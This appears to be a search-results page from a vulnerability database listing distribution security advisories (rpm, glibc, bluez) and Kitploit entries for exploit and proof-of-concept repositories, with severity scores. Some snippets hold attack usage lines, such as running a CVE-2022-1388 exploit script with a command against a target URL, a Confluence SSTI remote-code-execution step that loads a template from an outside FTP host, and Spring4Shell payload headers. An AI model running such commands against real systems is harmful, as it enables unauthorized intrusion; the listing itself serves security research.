Lucene search
+L

521241 matches found

OSV
OSV
added 2026/09/14 4:35 p.m.3 views

OESA-2026-3862 rpm security update

The RPM Package Manager RPM is a powerful package management system capability as below Security Fixes: A flaw was found in rpmbuild. When rpmbuild processes a crafted tarball in tarball mode, a specially designed tar member name can lead to macro injection. This vulnerability allows a remote...

7CVSS0.00141EPSS
SaveExploits0References2
OSV
OSV
added 2026/09/14 4:34 p.m.5 views

OESA-2026-3792 glibc security update

The GNU C Library project provides the core libraries for the GNU system and GNU/Linux systems, as well as many other systems that use Linux as the kernel. These libraries provide critical APIs including ISO C11, POSIX.1-2008, BSD, OS-specific APIs and more. These APIs include such foundational...

6.8CVSS0.0015EPSS
SaveExploits0References5
OSV
OSV
added 2026/09/14 4:33 p.m.3 views

OESA-2026-3732 bluez security update

This package provides all utilities for use in Bluetooth applications. The BLUETOOTH trademarks are owned by Bluetooth SIG, Inc., U.S.A. Security Fixes: A vulnerability, which was classified as very critical, was found in Linux BlueZ version now known.CWE is classifying the issue as CWE-121. A...

7.6CVSS0.00406EPSS
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/13 3:38 p.m.9 views

windows-kernel-exploits

windows-kernel-exploits Introduction windows-kernel-exploits Vulnerability List Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability Windows...

10CVSS7.5AI score0.9981EPSS
SaveExploits256References74
Kitploit
Kitploit
added 2026/09/13 3:31 p.m.167 views

androguard

Androguard Do you think your phone has been pwned ? please check IsMyPhonePwned New tool: Goauld Dynamic injection tool for Linux/Android See the new version of Androguard: https://github.com/androguard/androguard/tree/ng Installation Quick installation: root@kitploit: pip install androguard...

5.6AI score
SaveExploits0References18
Kitploit
Kitploit
added 2026/09/13 3:28 p.m.8 views

CVE-2022-26134

CVE-2022-26134 - OGNL injection vulnerability. Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or...

9.8CVSS8.1AI score0.99999EPSS
SaveExploits77
Kitploit
Kitploit
added 2026/09/13 1:55 p.m.56 views

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

7.8CVSS7.8AI score0.08509EPSS
SaveExploits3References25
Kitploit
Kitploit
added 2026/09/13 1:25 p.m.12 views

exphub

Notice In the end, I still felt that having separate scripts for each vulnerability was very inconvenient, so I integrated all poc and exp scripts into one, enabling one-click scanning + exploitation. Since I've been working on integration recently, Exphub has not been updated for a long time. Th...

10CVSS7.8AI score0.99999EPSS
SaveExploits186References13
Kitploit
Kitploit
added 2026/09/13 12:34 p.m.3 views

CVE-2020-0688

CVE-2020-0688 Existe una vulnerabilidad de ejecución remota de código en Microsoft Exchange Server cuando el servidor no logra crear claves únicas correctamente en el momento de la instalación. El conocimiento de la clave de validación permite que un usuario autenticado con buzón de correo pase...

9CVSS8.2AI score0.99965EPSS
SaveExploits29References1
Kitploit
Kitploit
added 2026/09/13 12:34 p.m.6 views

CVE-2018-7600

IMPORTANTE: Se proporciona solo con fines educativos o informativos. Reglas de protección para ModSecurity por fuzzylogic Reglas de protección para ModRewrite .htaccess PARA MEDIOS DE COMUNICACIÓN: Por favor, no publiques un enlace a este repositorio en tus artículos, sin especificar cómo...

9.8CVSS7.6AI score0.99991EPSS
SaveExploits49References3
Kitploit
Kitploit
added 2026/09/13 12:33 p.m.4 views

CVE-2026-42945

NGINX Rift Prueba de concepto de RCE para CVE-2026-42945 , un desbordamiento crítico de búfer en el montón de NGINX en ngxhttprewritemodule introducido en 2008. El error permite la ejecución remota de código no autenticada contra servidores que usan directivas rewrite y set. Esta vulnerabilidad —...

9.2CVSS7.7AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/13 12:33 p.m.5 views

Spring4Shell

Spring RCE CVE-2022-22965 Entorno de vulnerabilidad Información del entorno springboot jdk11 tomcat9.0.30 payload Configuración de cabeceras de solicitud root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Datos del cuerpo d...

9.8CVSS7.6AI score0.99638EPSS
SaveExploits105
Kitploit
Kitploit
added 2026/09/13 12:32 p.m.12 views

CVE-2020-9496

CVE-2020-9496 Las solicitudes XML-RPC son vulnerables a deserialización insegura y problemas de Cross-Site Scripting en Apache OFBiz 17.12.03 Instalar requisitos root@kitploit: $ pip install -r requirements.txt $ wget...

6.1CVSS6.7AI score0.98926EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.6 views

CVE-2023-30253-PoC

CVE-2023-30253 CVE-2023-30253 PoC Descripción Esta es mi PoC para el CVE-2023-30253 Dolibarr 17.0.0 inyección de código PHP. Cuando el plugin CMS Website núcleo está habilitado, un atacante autenticado puede obtener ejecución remota de comandos mediante una inyección de código PHP que evade las...

8.8CVSS7.9AI score0.82094EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.7 views

CVE-2022-1388

CVE-2022-1388-Exploit Script de Explotación y Verificación para CVE 2022-1388 Uso Para verificar contra una sola URL de host root@kitploit: python3 exploit.py -v true -u targeturl Para atacar un host y probar un comando en ese host root@kitploit: python3 exploit.py -a true -u targeturl -c command...

9.8CVSS8.5AI score0.99958EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/13 12:31 p.m.7 views

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、pon el cmd.vm en tu sitio web debe usar ftp o https ,http no funciona 2、modifica RCEexp.py ,cambia el nombre de archivo = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21) 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python...

10CVSS8.4AI score0.99913EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/13 12:29 p.m.11 views

CVE-2024-28255

OpenMetadataRCE CVE-2024-28255 Escaneo/exploit por lotes 1. Esta herramienta se utiliza únicamente para pruebas de seguridad; no soy responsable de los ataques ilegales. 2. La herramienta se utiliza únicamente para pruebas de seguridad, y no soy responsable de ningún ataque ilegal. 3. La...

9.8CVSS8.3AI score0.73255EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/13 12:29 p.m.7 views

CVE-2026-42533

CVE-2026-42533 — nginx map/regex capture clobbering tracking site Source for the CVE-2026-42533 patch-status tracker: a single-page site recording which distributions have shipped a fix for the nginx map/regex capture-clobbering heap overflow. Where the facts live Everything about the bug —...

9.2CVSS7.4AI score0.04452EPSS
SaveExploits6References2
Kitploit
Kitploit
added 2026/09/13 12:29 p.m.5 views

exploit-CVE-2016-10033

PHPMailer 5.2.18 Ejecución Remota de Código PHPMailer es la clase de transporte más popular del mundo, con aproximadamente 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

9.8CVSS7.4AI score0.99714EPSS
SaveExploits58
Kitploit
Kitploit
added 2026/09/13 12:27 p.m.7 views

CVE-2024-48990

CVE-2024-48990 Exploit para CVE-2024-48990 Escalada de privilegios local en needrestart 3.8 Antecedentes Lee https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys hace un gran trabajo...

7.8CVSS7.8AI score0.20452EPSS
SaveExploits16
Rows per page
Query Builder